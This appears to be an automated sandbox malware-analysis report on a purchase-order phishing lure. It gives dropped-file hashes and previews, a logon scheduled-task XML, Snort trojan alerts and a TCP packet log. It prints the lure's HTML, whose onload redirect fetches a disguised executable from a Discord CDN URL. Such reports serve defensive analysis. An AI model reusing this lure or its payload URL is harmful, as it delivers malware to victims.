Preview:	<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <RegistrationInfo>.. <Date>2014-10-25T14:27:44.8929027</Date>.. <Author>computer\user</Author>.. </RegistrationInfo>.. <Triggers>.. <LogonTrigger>.. <Enabled>true</Enabled>.. <UserId>computer\user</UserId>.. </LogonTrigger>.. <RegistrationTrigger>.. <Enabled>false</Enabled>.. </RegistrationTrigger>.. </Triggers>.. <Principals>.. <Principal id="Author">.. <UserId>computer\user</UserId>.. <LogonType>InteractiveToken</LogonType>.. <RunLevel>LeastPrivilege</RunLevel>.. </Principal>.. </Principals>.. <Settings>.. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>.. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>.. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>.. <AllowHardTerminate>false</AllowHardTerminate>.. <StartWhenAvailable>true

C:\Users\user\AppData\Local\Temp\tmp8EAA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\update_232107.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.1899247232712975
Encrypted:	false
SSDEEP:	24:2dH4+SEqC/Q7hxlNMFp1/rlMhEMjnGpwjpIgUYODOLD9RJh7h8gKBttn:cbh47TlNQ//rydbz9I3YODOLNdq3x
MD5:	B2A29FD9F52628C14612164235DF8120
SHA1:	8F695D4A811E348F5A5569D7C4D8185776758BE7
SHA-256:	C90D76F22172A29DCE6F2ECEF7663139417BB8EFE15E0ED4B802A6B1F5A96117
SHA-512:	132F31A747E12BDE20C1530002BB601459764A49F28B1685E854A68F41324DD6F7F468E6F2BBB5B3F50E74E46FEE08366108FE5C33451ABC9AA793254A0AF0C4
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <RegistrationInfo>.. <Date>2014-10-25T14:27:44.8929027</Date>.. <Author>computer\user</Author>.. </RegistrationInfo>.. <Triggers>.. <LogonTrigger>.. <Enabled>true</Enabled>.. <UserId>computer\user</UserId>.. </LogonTrigger>.. <RegistrationTrigger>.. <Enabled>false</Enabled>.. </RegistrationTrigger>.. </Triggers>.. <Principals>.. <Principal id="Author">.. <UserId>computer\user</UserId>.. <LogonType>InteractiveToken</LogonType>.. <RunLevel>LeastPrivilege</RunLevel>.. </Principal>.. </Principals>.. <Settings>.. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>.. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>.. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>.. <AllowHardTerminate>false</AllowHardTerminate>.. <StartWhenAvailable>true

C:\Users\user\AppData\Local\Temp\unarchiver.log

Download File

Process:	C:\Windows\SysWOW64\unarchiver.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1917
Entropy (8bit):	5.175677725520182
Encrypted:	false
SSDEEP:	48:hdtYGVqGbAGVqGpTqGwGVqGpVIGbSGKIGIGDhGqGVG2GgccxGAjGDGVqGZGVqGbl:NRj7/pDcWU4IL
MD5:	92E41F268FFFA4E909B26F6D0D38981F
SHA1:	A3FB5241FB1131A2041B2DC55DB19AD919D1B69C
SHA-256:	3C1E1641F9DD1EC1B7C7310718A0345B7AF775B6FA132E1C3BB2A27341D8209E
SHA-512:	1E4DF702A343B5D702B51E22A722EA57089BF513A93CEDB89FA2CF33E9D306D51008FA2366BF79F9D4ECCBA7B64B2922E219C3969CA1E63FB7AD895AE653200C
Malicious:	false
Preview:	02/21/2023 7:06 AM: Unpack: C:\Users\user\Downloads\REVISED_PURCHASE_ORDER.zip..02/21/2023 7:06 AM: Tmp dir: C:\Users\user\AppData\Local\Temp\itl30nap.yii..02/21/2023 7:06 AM: Received from standard out: ..02/21/2023 7:06 AM: Received from standard out: 7-Zip 18.05 (x86) : Copyright (c) 1999-2018 Igor Pavlov : 2018-04-30..02/21/2023 7:06 AM: Received from standard out: ..02/21/2023 7:06 AM: Received from standard out: Scanning the drive for archives:..02/21/2023 7:06 AM: Received from standard out: 1 file, 929697 bytes (908 KiB)..02/21/2023 7:06 AM: Received from standard out: ..02/21/2023 7:06 AM: Received from standard out: Extracting archive: C:\Users\user\Downloads\REVISED_PURCHASE_ORDER.zip..02/21/2023 7:06 AM: Received from standard out: --..02/21/2023 7:06 AM: Received from standard out: Path = C:\Users\user\Downloads\REVISED_PURCHASE_ORDER.zip..02/21/2023 7:06 AM: Received from standard out: Type = zip..02/21/2023 7:06 AM: Received from standard out: Physical Size = 929697.

C:\Users\user\AppData\Local\Temp\update_232107.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1336832
Entropy (8bit):	7.2786310892048665
Encrypted:	false
SSDEEP:	24576:6/TsIBMNjnNNOhAe/S0dj1FSQNBsYIzK1scPq+kq7oBAOFtlrQ8EA:ok+qcPqVCoBAqtlr/EA
MD5:	8BF528E76290091A786846C8F8FFBCF5
SHA1:	F917F40439D53BDA58F7C7D28A084E3179A03E3C
SHA-256:	263E0560CEC4614F45399790A81A6B5C3E824C17CB1D1267398455D56D2A2026
SHA-512:	9483A24E0DA27BCA8E84DD86A934D7F46E36128D7C17AB4D1D98F2853CC483A7EB5929D4E8705AABE784993D2B3DA54A742C7EEA717B5640FFD7009A620C4B3D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...U..c..............P.............>.... ........@.. ....................................@.....................................K....... ............................................................................ ............... ..H............text...D.... ...................... ..`.rsrc... ...........................@..@.reloc...............d..............@..B................ .......H...................y...p...UX...........................................0..>.......(D...8.....(.... .....:....& ....8....8........E........8......&~..........~......0..;.......(....8......(.... .....:....&8....8........E........8........(D...&~..........~......0..........8........E....4.......s...I...8/...s.........84...s......... .....:....& ....8....s......... ....8....s......... .....9....& ....8....(D...8....s......... .....:c...& ....8X.......0..K.......81......

C:\Users\user\AppData\Roaming\asGTRKuvQ.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1336832
Entropy (8bit):	7.2786310892048665
Encrypted:	false
SSDEEP:	24576:6/TsIBMNjnNNOhAe/S0dj1FSQNBsYIzK1scPq+kq7oBAOFtlrQ8EA:ok+qcPqVCoBAqtlr/EA
MD5:	8BF528E76290091A786846C8F8FFBCF5
SHA1:	F917F40439D53BDA58F7C7D28A084E3179A03E3C
SHA-256:	263E0560CEC4614F45399790A81A6B5C3E824C17CB1D1267398455D56D2A2026
SHA-512:	9483A24E0DA27BCA8E84DD86A934D7F46E36128D7C17AB4D1D98F2853CC483A7EB5929D4E8705AABE784993D2B3DA54A742C7EEA717B5640FFD7009A620C4B3D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...U..c..............P.............>.... ........@.. ....................................@.....................................K....... ............................................................................ ............... ..H............text...D.... ...................... ..`.rsrc... ...........................@..@.reloc...............d..............@..B................ .......H...................y...p...UX...........................................0..>.......(D...8.....(.... .....:....& ....8....8........E........8......&~..........~......0..;.......(....8......(.... .....:....&8....8........E........8........(D...&~..........~......0..........8........E....4.......s...I...8/...s.........84...s......... .....:....& ....8....s......... ....8....s......... .....9....& ....8....(D...8....s......... .....:c...& ....8X.......0..K.......81......

C:\Users\user\Downloads\Newtonsoft.Json.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	407776
Entropy (8bit):	6.080910017085125
Encrypted:	false
SSDEEP:	6144:/+BWmtpZQYS2PjCLfjSCpkALDUbr0tJ0nzbWk:WPw2PjCLe3a6Q70zbR
MD5:	F75FE8D06448D07720D5456F2A327F08
SHA1:	DBA5D60848A7C24CE837225709D9E23690BB5CB3
SHA-256:	977998AEC486395EABA6CE5661648425A1A181CE18C2C87C6288AF62B87D5ECA
SHA-512:	EB05696F92881A698B7DEF0F8852286212A5EB235A2FF8A41460DEDBC6AE1964BFBEF613D3BEC736DF66525BF6E5A6C95FF5E0A71C904FA70B5C6675E2275A34
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...:Q.P...........!..................... ... ....... .......................`............@.................................\...O.... ..0................>...@......$................................................ ............... ..H............text........ ...................... ..`.rsrc...0.... ......................@..@.reloc.......@......................@..B........................H.......`e..............c..X...P .......................................R..p..4j../ux..;....B.6z.R...K.KT....i.r.p>.m~.p.?YQ.~16~v....J.h.}..k.......&...E....p..Ix..t;.uT7Ph..(.Rv:...y..qp...dX3...bu..{...."..}....V.(i.....(......}....2.{....oj...2.{....ok...B..(....&..(.......0...........oj........YE....{...............{...f...............f.......A...A...A...A...1...A...V...8<....t......{.....om...ol....or.....+U..om.....{.....o....oj...on.....o....o{...t.....o....o}.

C:\Users\user\Downloads\REVISED_PURCHASE_ORDER.zip (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	929697
Entropy (8bit):	7.993280681816621
Encrypted:	true
SSDEEP:	24576:lZYUVkGO0D1XKsUIjG1IcPC6iq7EFAiJHZr62Jo:lNkGO0DnaycPCVCEFA6HZrRJo
MD5:	79B1C9F471A4EAAB8FC25989ED850ED7
SHA1:	FE6E6CEE05AF649BE31D68CCAF7BC010BDF1FE27
SHA-256:	4FD592DF655FDC7733006516851A7C6316382534A22D7867BA1B79DF22E99052
SHA-512:	41F84E331B952F25033FDDDABDCEC9C7A38315C7B2A94B6F7CFB1ECA26BD184C398C1D20514081FB4A0A490A5E525674CB9402647C0E4B55930847A761E5D162
Malicious:	false
Preview:	PK.........5TV.]..v....f..9...PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.].\|...{SHO......%..$ .."]D...H.x.6.QD........<@.<..O...iR..v..&....;.wI....fw..3g....3.n...J...B.......s.....^N.....M.FL.TfM..._2.p.i.......i.iV.s.[Sc.^.;;...cH..........\..UN(34D...Z..G...U.b.p.....=.u....}.Ry..w6'.....@..W..!u....N.......YJ..n......A.....`kX%...[...p..F..I........M.."t..... ^O..g..^.-.R...a../I...T..S...YA...IR].LZF...T.Fk..Q..ea).j..:...UTT...>.0.-.....jI.(..um..f..]..,.I@.+..4..4s.U)ob^_.v.M.}2.F.jG......".........7y$zn5"..EpK.Kv.y.tp.}......8......\|4....EL.N.7.......3.....t.c.Z....f...a...........B9..=.Z...q+.....$?.7SK$$~.M(.....8.<+..@Y8....8<B....c.`.\....]B.p....\.Jd..2.>.K.%:}...cE....52.Z`..I.o:(.o..t..j+.oJ...'.......\|S........"Lb...Y.$j...y....s.\|.f.s=a..G...$.GI...v.....8....6.D..:.k.....9..Hxn!...4(.s.k...i..Z..?F.2...0S.9 ....9..s@2...^.9.../f.+..U.VC..]..s..LKv.!..oB.5....\.H..IV.0....&/.E...g.....I

C:\Users\user\Downloads\REVISED_PURCHASE_ORDER.zip.crdownload

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	929697
Entropy (8bit):	7.993280681816621
Encrypted:	true
SSDEEP:	24576:lZYUVkGO0D1XKsUIjG1IcPC6iq7EFAiJHZr62Jo:lNkGO0DnaycPCVCEFA6HZrRJo
MD5:	79B1C9F471A4EAAB8FC25989ED850ED7
SHA1:	FE6E6CEE05AF649BE31D68CCAF7BC010BDF1FE27
SHA-256:	4FD592DF655FDC7733006516851A7C6316382534A22D7867BA1B79DF22E99052
SHA-512:	41F84E331B952F25033FDDDABDCEC9C7A38315C7B2A94B6F7CFB1ECA26BD184C398C1D20514081FB4A0A490A5E525674CB9402647C0E4B55930847A761E5D162
Malicious:	false
Preview:	PK.........5TV.]..v....f..9...PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE.].\|...{SHO......%..$ .."]D...H.x.6.QD........<@.<..O...iR..v..&....;.wI....fw..3g....3.n...J...B.......s.....^N.....M.FL.TfM..._2.p.i.......i.iV.s.[Sc.^.;;...cH..........\..UN(34D...Z..G...U.b.p.....=.u....}.Ry..w6'.....@..W..!u....N.......YJ..n......A.....`kX%...[...p..F..I........M.."t..... ^O..g..^.-.R...a../I...T..S...YA...IR].LZF...T.Fk..Q..ea).j..:...UTT...>.0.-.....jI.(..um..f..]..,.I@.+..4..4s.U)ob^_.v.M.}2.F.jG......".........7y$zn5"..EpK.Kv.y.tp.}......8......\|4....EL.N.7.......3.....t.c.Z....f...a...........B9..=.Z...q+.....$?.7SK$$~.M(.....8.<+..@Y8....8<B....c.`.\....]B.p....\.Jd..2.>.K.%:}...cE....52.Z`..I.o:(.o..t..j+.oJ...'.......\|S........"Lb...Y.$j...y....s.\|.f.s=a..G...$.GI...v.....8....6.D..:.k.....9..Hxn!...4(.s.k...i..Z..?F.2...0S.9 ....9..s@2...^.9.../f.+..U.VC..]..s..LKv.!..oB.5....\.H..IV.0....&/.E...g.....I

Static File Info

General

File type:	ASCII text, with no line terminators
Entropy (8bit):	5.425156364612143
TrID:
File name:	REVISED PURCHASE ORDER.HTML
File size:	155
MD5:	08c8f5d50d37e8caf57920c269cf8998
SHA1:	589f04b577b615e68c761108ffe9ddc24928cb6c
SHA256:	59b7343f85031e5b74911012ef2ccb9744393fd95b6341eddf890a94c3cb1b08
SHA512:	6b8ea0977019a059f83b4068619864a2cfb0a06617d577fc533e5920fb22d2c82c69148b276bb5409e793229655d952bb384d6c35a590e33e566f4cb0949ef19
SSDEEP:	3:W9KEIuLBKjOkADYuNCWdy6//N3TdmUcl2XVKUVUT2VHgh66f3g34C2n:WogLBsmYuNry6XNjdmUclwWTXQ/2
TLSH:	9FC08CE22A8192041A9B089D6A12B929666121A616C39D0080A14A20B304BAAA15AE9A
File Content Preview:	<body onload="javascript:window.location.href='https://cdn.discordapp.com/attachments/897446870190800920/1077105532562853908/REVISED_PURCHASE_ORDER.zip';">

File Icon


Icon Hash:	78d0a8cccc88c460

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.389.45.67.249735802022818 02/21/23-07:07:04.545552	TCP	2022818	ET TROJAN Generic gate .php GET with minimal headers	49735	80	192.168.2.3	89.45.67.2
192.168.2.389.45.67.249740802022818 02/21/23-07:07:25.877440	TCP	2022818	ET TROJAN Generic gate .php GET with minimal headers	49740	80	192.168.2.3	89.45.67.2
192.168.2.389.45.67.249732802022818 02/21/23-07:06:58.869435	TCP	2022818	ET TROJAN Generic gate .php GET with minimal headers	49732	80	192.168.2.3	89.45.67.2
192.168.2.389.45.67.249744802022818 02/21/23-07:07:48.640336	TCP	2022818	ET TROJAN Generic gate .php GET with minimal headers	49744	80	192.168.2.3	89.45.67.2
192.168.2.389.45.67.249745802022818 02/21/23-07:07:59.634397	TCP	2022818	ET TROJAN Generic gate .php GET with minimal headers	49745	80	192.168.2.3	89.45.67.2

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 21, 2023 07:06:01.615385056 CET	49702	443	192.168.2.3	216.58.209.45
Feb 21, 2023 07:06:01.615451097 CET	443	49702	216.58.209.45	192.168.2.3
Feb 21, 2023 07:06:01.615556002 CET	49702	443	192.168.2.3	216.58.209.45
Feb 21, 2023 07:06:01.615748882 CET	49703	443	192.168.2.3	142.250.180.174
Feb 21, 2023 07:06:01.615823984 CET	443	49703	142.250.180.174	192.168.2.3
Feb 21, 2023 07:06:01.615900993 CET	49703	443	192.168.2.3	142.250.180.174
Feb 21, 2023 07:06:01.616925001 CET	49702	443	192.168.2.3	216.58.209.45
Feb 21, 2023 07:06:01.616969109 CET	443	49702	216.58.209.45	192.168.2.3
Feb 21, 2023 07:06:01.617202044 CET	49703	443	192.168.2.3	142.250.180.174
Feb 21, 2023 07:06:01.617238998 CET	443	49703	142.250.180.174	192.168.2.3
Feb 21, 2023 07:06:01.751349926 CET	443	49703	142.250.180.174	192.168.2.3
Feb 21, 2023 07:06:01.786071062 CET	443	49702	216.58.209.45	192.168.2.3
Feb 21, 2023 07:06:01.791862011 CET	49703	443	192.168.2.3	142.250.180.174
Feb 21, 2023 07:06:01.826910019 CET	49702	443	192.168.2.3	216.58.209.45
Feb 21, 2023 07:06:01.904412031 CET	49703	443	192.168.2.3	142.250.180.174
Feb 21, 2023 07:06:01.904445887 CET	443	49703	142.250.180.174	192.168.2.3
Feb 21, 2023 07:06:01.904769897 CET	49702	443	192.168.2.3	216.58.209.45
Feb 21, 2023 07:06:01.904808998 CET	443	49702	216.58.209.45	192.168.2.3
Feb 21, 2023 07:06:01.906007051 CET	443	49703	142.250.180.174	192.168.2.3
Feb 21, 2023 07:06:01.906100035 CET	49703	443	192.168.2.3	142.250.180.174
Feb 21, 2023 07:06:01.908201933 CET	443	49702	216.58.209.45	192.168.2.3
Feb 21, 2023 07:06:01.908674002 CET	49702	443	192.168.2.3	216.58.209.45
Feb 21, 2023 07:06:01.909496069 CET	443	49703	142.250.180.174	192.168.2.3
Feb 21, 2023 07:06:01.909971952 CET	49703	443	192.168.2.3	142.250.180.174
Feb 21, 2023 07:06:03.134517908 CET	49702	443	192.168.2.3	216.58.209.45
Feb 21, 2023 07:06:03.134577036 CET	443	49702	216.58.209.45	192.168.2.3
Feb 21, 2023 07:06:03.134896994 CET	49702	443	192.168.2.3	216.58.209.45
Feb 21, 2023 07:06:03.134902000 CET	443	49702	216.58.209.45	192.168.2.3
Feb 21, 2023 07:06:03.134958029 CET	443	49702	216.58.209.45	192.168.2.3
Feb 21, 2023 07:06:03.138344049 CET	49703	443	192.168.2.3	142.250.180.174
Feb 21, 2023 07:06:03.138408899 CET	443	49703	142.250.180.174	192.168.2.3
Feb 21, 2023 07:06:03.138505936 CET	49703	443	192.168.2.3	142.250.180.174
Feb 21, 2023 07:06:03.138525009 CET	443	49703	142.250.180.174	192.168.2.3
Feb 21, 2023 07:06:03.138854980 CET	443	49703	142.250.180.174	192.168.2.3
Feb 21, 2023 07:06:03.184753895 CET	443	49703	142.250.180.174	192.168.2.3
Feb 21, 2023 07:06:03.184923887 CET	49703	443	192.168.2.3	142.250.180.174
Feb 21, 2023 07:06:03.184972048 CET	443	49703	142.250.180.174	192.168.2.3
Feb 21, 2023 07:06:03.185103893 CET	443	49703	142.250.180.174	192.168.2.3
Feb 21, 2023 07:06:03.185174942 CET	49703	443	192.168.2.3	142.250.180.174
Feb 21, 2023 07:06:03.201567888 CET	443	49702	216.58.209.45	192.168.2.3
Feb 21, 2023 07:06:03.201855898 CET	49702	443	192.168.2.3	216.58.209.45
Feb 21, 2023 07:06:03.201899052 CET	443	49702	216.58.209.45	192.168.2.3
Feb 21, 2023 07:06:03.202228069 CET	443	49702	216.58.209.45	192.168.2.3
Feb 21, 2023 07:06:03.202402115 CET	49702	443	192.168.2.3	216.58.209.45
Feb 21, 2023 07:06:03.237694979 CET	49702	443	192.168.2.3	216.58.209.45
Feb 21, 2023 07:06:03.237744093 CET	443	49702	216.58.209.45	192.168.2.3
Feb 21, 2023 07:06:03.238481045 CET	49703	443	192.168.2.3	142.250.180.174
Feb 21, 2023 07:06:03.238514900 CET	443	49703	142.250.180.174	192.168.2.3
Feb 21, 2023 07:06:04.459542990 CET	49705	443	192.168.2.3	162.159.130.233
Feb 21, 2023 07:06:04.459629059 CET	443	49705	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.459747076 CET	49705	443	192.168.2.3	162.159.130.233
Feb 21, 2023 07:06:04.460319996 CET	49706	443	192.168.2.3	162.159.130.233
Feb 21, 2023 07:06:04.460390091 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.460472107 CET	49706	443	192.168.2.3	162.159.130.233
Feb 21, 2023 07:06:04.460938931 CET	49705	443	192.168.2.3	162.159.130.233
Feb 21, 2023 07:06:04.460973024 CET	443	49705	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.461370945 CET	49706	443	192.168.2.3	162.159.130.233
Feb 21, 2023 07:06:04.461410999 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.560117960 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.560481071 CET	443	49705	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.560532093 CET	49706	443	192.168.2.3	162.159.130.233
Feb 21, 2023 07:06:04.560584068 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.560789108 CET	49705	443	192.168.2.3	162.159.130.233
Feb 21, 2023 07:06:04.560858011 CET	443	49705	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.561729908 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.561826944 CET	49706	443	192.168.2.3	162.159.130.233
Feb 21, 2023 07:06:04.564376116 CET	443	49705	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.564507961 CET	49705	443	192.168.2.3	162.159.130.233
Feb 21, 2023 07:06:04.567012072 CET	49706	443	192.168.2.3	162.159.130.233
Feb 21, 2023 07:06:04.567043066 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.567151070 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.567234039 CET	49706	443	192.168.2.3	162.159.130.233
Feb 21, 2023 07:06:04.567262888 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.569308996 CET	49705	443	192.168.2.3	162.159.130.233
Feb 21, 2023 07:06:04.569336891 CET	443	49705	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.569591999 CET	443	49705	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.654774904 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.654877901 CET	49706	443	192.168.2.3	162.159.130.233
Feb 21, 2023 07:06:04.654887915 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.654915094 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.654974937 CET	49706	443	192.168.2.3	162.159.130.233
Feb 21, 2023 07:06:04.655009031 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.655165911 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.655236006 CET	49706	443	192.168.2.3	162.159.130.233
Feb 21, 2023 07:06:04.655263901 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.655384064 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.655458927 CET	49706	443	192.168.2.3	162.159.130.233
Feb 21, 2023 07:06:04.655471087 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.655493975 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.655544043 CET	49706	443	192.168.2.3	162.159.130.233
Feb 21, 2023 07:06:04.655577898 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.656110048 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.656202078 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.656212091 CET	49706	443	192.168.2.3	162.159.130.233
Feb 21, 2023 07:06:04.656234980 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.656302929 CET	49706	443	192.168.2.3	162.159.130.233
Feb 21, 2023 07:06:04.656318903 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.657013893 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.657097101 CET	49706	443	192.168.2.3	162.159.130.233
Feb 21, 2023 07:06:04.657116890 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.657188892 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.657254934 CET	49706	443	192.168.2.3	162.159.130.233
Feb 21, 2023 07:06:04.657269955 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.657749891 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.657829046 CET	49706	443	192.168.2.3	162.159.130.233
Feb 21, 2023 07:06:04.657830954 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.657855034 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.657911062 CET	49706	443	192.168.2.3	162.159.130.233
Feb 21, 2023 07:06:04.658485889 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.658660889 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.658740997 CET	49706	443	192.168.2.3	162.159.130.233
Feb 21, 2023 07:06:04.658755064 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.658776999 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.658829927 CET	49706	443	192.168.2.3	162.159.130.233
Feb 21, 2023 07:06:04.659348965 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.671907902 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.671997070 CET	49706	443	192.168.2.3	162.159.130.233
Feb 21, 2023 07:06:04.672039032 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.672133923 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.672198057 CET	49706	443	192.168.2.3	162.159.130.233
Feb 21, 2023 07:06:04.672216892 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.672307014 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.672374964 CET	49706	443	192.168.2.3	162.159.130.233
Feb 21, 2023 07:06:04.672390938 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.672765970 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.672832012 CET	49706	443	192.168.2.3	162.159.130.233
Feb 21, 2023 07:06:04.672846079 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.672929049 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.672976971 CET	49706	443	192.168.2.3	162.159.130.233
Feb 21, 2023 07:06:04.672992945 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.673715115 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.673801899 CET	49706	443	192.168.2.3	162.159.130.233
Feb 21, 2023 07:06:04.673804998 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.673830986 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.673887014 CET	49706	443	192.168.2.3	162.159.130.233
Feb 21, 2023 07:06:04.673917055 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.674674034 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.674762964 CET	49706	443	192.168.2.3	162.159.130.233
Feb 21, 2023 07:06:04.674784899 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.675544024 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.675627947 CET	49706	443	192.168.2.3	162.159.130.233
Feb 21, 2023 07:06:04.675633907 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.675658941 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.675695896 CET	49706	443	192.168.2.3	162.159.130.233
Feb 21, 2023 07:06:04.676386118 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.676477909 CET	49706	443	192.168.2.3	162.159.130.233
Feb 21, 2023 07:06:04.676496983 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.676569939 CET	49706	443	192.168.2.3	162.159.130.233
Feb 21, 2023 07:06:04.677043915 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.677129984 CET	49706	443	192.168.2.3	162.159.130.233
Feb 21, 2023 07:06:04.677855015 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.677943945 CET	49706	443	192.168.2.3	162.159.130.233
Feb 21, 2023 07:06:04.678589106 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.678661108 CET	49706	443	192.168.2.3	162.159.130.233
Feb 21, 2023 07:06:04.678711891 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.678778887 CET	49706	443	192.168.2.3	162.159.130.233
Feb 21, 2023 07:06:04.679702997 CET	443	49706	162.159.130.233	192.168.2.3
Feb 21, 2023 07:06:04.679781914 CET	49706	443	192.168.2.3	162.159.130.233
